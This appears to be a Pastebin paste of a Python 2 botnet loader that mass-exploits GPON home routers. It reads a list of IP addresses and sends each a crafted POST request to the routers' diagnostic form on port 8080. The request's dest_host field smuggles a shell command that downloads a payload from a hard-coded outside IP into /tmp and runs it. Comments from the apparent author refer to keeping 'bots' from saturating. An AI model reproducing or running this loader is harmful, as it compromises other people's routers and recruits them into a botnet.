Advertisement
miraip0ts

GPON LOADER

Jun 7th, 2018
1,181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2.  
  3. # gpon exploit loader by nexus zeta ; if ive sent u this dont give this to skids - use your head dont get bots saturated
  4. # note to self: reintegrate parallelized thread pool alongside queue / gevent? (maybe)
  5.  
  6. import sys, socket, time, os
  7. from Queue import *
  8. #from multiprocessing.dummy import Pool as ThreadPool
  9. #from multiprocessing import Process
  10. from threading import Thread
  11. from sys import stdout
  12.  
  13. if len(sys.argv) < 2:
  14.         print "Usage: python "+sys.argv[0]+" <list>"
  15.         sys.exit()
  16.  
  17. port = 8080
  18. buf = 4096
  19. count = 0
  20. queue = Queue()
  21. post_data = "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=$(wget+http://206.189.157.219/w+-O+->+/tmp/w;sh+/tmp/w)&ipv=0\r\n"
  22. headers = "POST /GponForm/diag_Form?script/ HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nUser-Agent: Hello, World\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: "+str(len(post_data))+"\r\n\r\n"+str(post_data)
  23. i = 0
  24. ips = open(sys.argv[1], "r").readlines()
  25.  
  26. def gpwn(host):
  27.     global i
  28.     host = host.strip("\n")
  29.     try:
  30.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  31.     s.settimeout(5)
  32.         s.connect((host, port))
  33.         s.send(headers)
  34.     time.sleep(0.5)
  35.         print "\x1b[1;35m[\x1b[1;36mGPON\x1b[1;35m] \x1b[1;37m- \x1b[1;35m[\x1b[1;32m%s\x1b[1;35m] \x1b[1;37m- \x1b[1;35m[\x1b[1;32mDEPLOYING\x1b[1;35m]" % (host)
  36.         resp = s.recv(buf).strip()
  37.         if "200 OK" in resp:
  38.             i += 1
  39.         s.close()
  40.     except:
  41.         pass
  42.  
  43. def load_to_queue():
  44.     global count
  45.     for line in ips:
  46.         count += 1
  47.         line = line.strip("\r\n")
  48.         sys.stdout.write("\r[%d] Added to queue" % (count))
  49.         sys.stdout.flush()
  50.         queue.put(line)
  51.     sys.stdout.write("\n")
  52.  
  53. def main():
  54.     load_to_queue()
  55.     i = 0
  56.     while i < count:
  57.         i += 1
  58.         try:
  59.             ip = queue.get()
  60.             f = Thread(target=gpwn, args=(ip,))
  61.             f.start()
  62.             queue.task_done()
  63.         except KeyboardInterrupt:
  64.             os.kill(os.getpid(),9)
  65.         except Exception as i:
  66.             print i
  67.             pass
  68. if __name__ == "__main__":
  69.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement